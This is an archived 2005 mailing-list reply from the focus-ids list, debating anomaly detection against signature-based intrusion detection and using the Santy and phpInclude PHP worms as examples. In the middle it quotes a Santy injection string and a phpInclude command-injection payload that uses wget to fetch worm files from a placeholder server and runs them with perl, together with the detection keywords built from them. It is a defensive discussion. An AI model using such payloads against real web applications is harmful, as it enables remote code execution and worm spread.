RE: Specification-based Anomaly Detection

["Ofer Shezaf" <Ofer.Shezaf () breach com>]

on Tuesday, January 11 Kohlenberg, Toby wrote:
> All opinions are my own and in no way reflect the views of my
employer.
> I was going to stay out of this rendition of this debate but...
>
> > -----Original Message-----
> > From: Ofer Shezaf [mailto:Ofer.Shezaf () breach com]
> > Sent: Sunday, January 09, 2005 3:53 PM
> > To: Stefano Zanero; roberto.perdisci () gmail com
> > Cc: focus-ids () lists securityfocus com
> > Subject: RE: Specification-based Anomaly Detection
> >
> >
> > Hi Thomas & Stefano,
> >
> > I agree that anomaly detection is a new-comer to IDS, and in many
cases
> > not a mature technology. But I think that due to the inherent
> > shortcomings of signatures, it has to be considered seriously.
>
> What exactly is your definition of "new-comer"? Seeing as anomaly
> detection
> has been discussed and studied for at least 15 years as far I know...

I stand corrected: only meant that commercial applications are
relatively new. Signature based IDS is here for the last decade I
believe, while I think that anomaly based techniques found their way to
products just in the last couple of years.
 
> > As one of you mentioned, the main disadvantage of signatures
> > is zero day
> > attacks.  As I see it, the significance of zero day attacks is way
> > underrated. Zero day attacks usually refer to abusing of
> > vulnerabilities
> > before a patch or a signature has been issued, but there are those
> > "perpetual" zero day attacks - the bugs in the software of a specific
> > web site.
> >
> > The recent "phpInclude" worm is a very good example of exploitation
of
> > such "perpetual" zero day attacks. The worm itself can be detected by
> > signatures as, being a publicly available code, it includes some
> > repeating patterns. On the other hand the same the same techniques
can
> > be (and probably are) used by "none worm" crawlers or even manually
to
> > attack specific sites, and are not be detected by signatures.
>
> I'm not sure I follow the argument about "perpetual zero day". It
sounds
> like a problem of poor signature writing. Could you expand a little
more
> on why this is a problem for signature-based approaches as opposed to
> anomaly-based approaches?

It is definitely a problem of poor writing. Unfortunately there are tons
of poorly written code out there and more to come.

"PhpInclude" and Santy, its predecessor, are application layer attacks.
They stretch signature based technology to its limits and require
signatures that are easy to evade and are prone to generate false
positives.

Just think how many different ways the Santy attack vector used as a
snort signature <<<'&highlight=%2527%252Esystem('>>> can be modified to
evade an IDS (manually or automatically).

"PhpInclude" is even more interesting as it does not address a specific
vulnerability but tries to exploit a known flawed technique used to
write PHP code. It tries to change arbitrary parameters of a PHP script
to a command injection string, expecting that in some cases these
parameters will be used in a PHP include statement. It is probably the
first worm to exploit a OWASP top 10 security problem and not a specific
voluntarily.

The "phpInclude" attack vector is varying but has the general form
<<<cmd=cd /tmp;wget *server*/spybot.txt;wget *server*/worm1.txt; perl
worm1.txt>>>. A signature based system may look for the signatures such
as "perl", "cmd" or "wget" but they are way too short and simplistic to
evade false positives. 

### 
"Santy" and "phpInclude" emphasize the need for real application
security measurements such as code review, application layer scanning
and real time application layer security. 

An interesting solution for real time protection is application layer
signatures. Such signatures predict better application layer attacks. To
do so they have to be contextual (i.e. confined to field values),
normalized and correlated to other attack indicators such as abnormal
behavior or multiple signature match during the session's requests and
responses. 

While I'm not writing this all as a marketing pitch, some of these ideas
are implemented in my company's products ;-) I'd be happy to hear what
the other pros here have to say about this.

> > 2. On the network layer, network profiling analyzes the normal
behavior
> > of users (i.e traffic), while in the application layer we also
profile
> > the normal behavior of the application.
> >
> > Saying that, anomaly itself usually identifies that something is
wrong
> > but not what is wrong. We use two important additional mechanisms to
> > derive actionable information:
>
> What is your basis for saying that anomaly detection usually detects
> that
> something is wrong? I've never seen an anomaly detection system that
> detects things that are "wrong", by definition they only detect that
> something is _different_.
> The assumption that that is always something wrong is one of the basic
> problems with how people implement anomaly-based solutions in my
> opinion.

You are right there; my wording was not very good. Actually you put it
very well: instead of using my terms of "something wrong" and "what is
wrong", I should have said that abnormal detection finds that something
is different, but further analysis has to be done to determine if it is
wrong. This is why my company's product employs additional detection
techniques to 

> toby
>
> Toby Kohlenberg, CISSP, GCIH, GCIA
> Senior Information Security Analyst
> Applied Security Technology Team
> Intel Corporate Information Security
> 503-712-8588  Office & Voicemail
> 877-497-1696  Pager
> "Just because you're paranoid, doesn't mean they're not after you."
>
> PGP Fingerprint:
> 92E2 E2FC BB8B 98CD 88FA  01A1 6E09 B5BA 9E84 9E70
------------------------------------------------------------------------
--
> Test Your IDS
>
> Is your IDS deployed correctly?
> Find out quickly and easily by testing it with real-world attacks from
> CORE IMPACT.
> Go to
http://www.securityfocus.com/sponsor/CoreSecurity_focus-ids_040708
> to learn more.
------------------------------------------------------------------------
--
>

Ofer Shezaf
CTO, Breach Security

Tel: +972.9.956.0036 ext.212
Cell: +972.54.443.1119
ofers () breach com
http://www.breach.com 


--------------------------------------------------------------------------
Test Your IDS

Is your IDS deployed correctly?
Find out quickly and easily by testing it with real-world attacks from
CORE IMPACT.
Go to http://www.securityfocus.com/sponsor/CoreSecurity_focus-ids_040708
to learn more.
--------------------------------------------------------------------------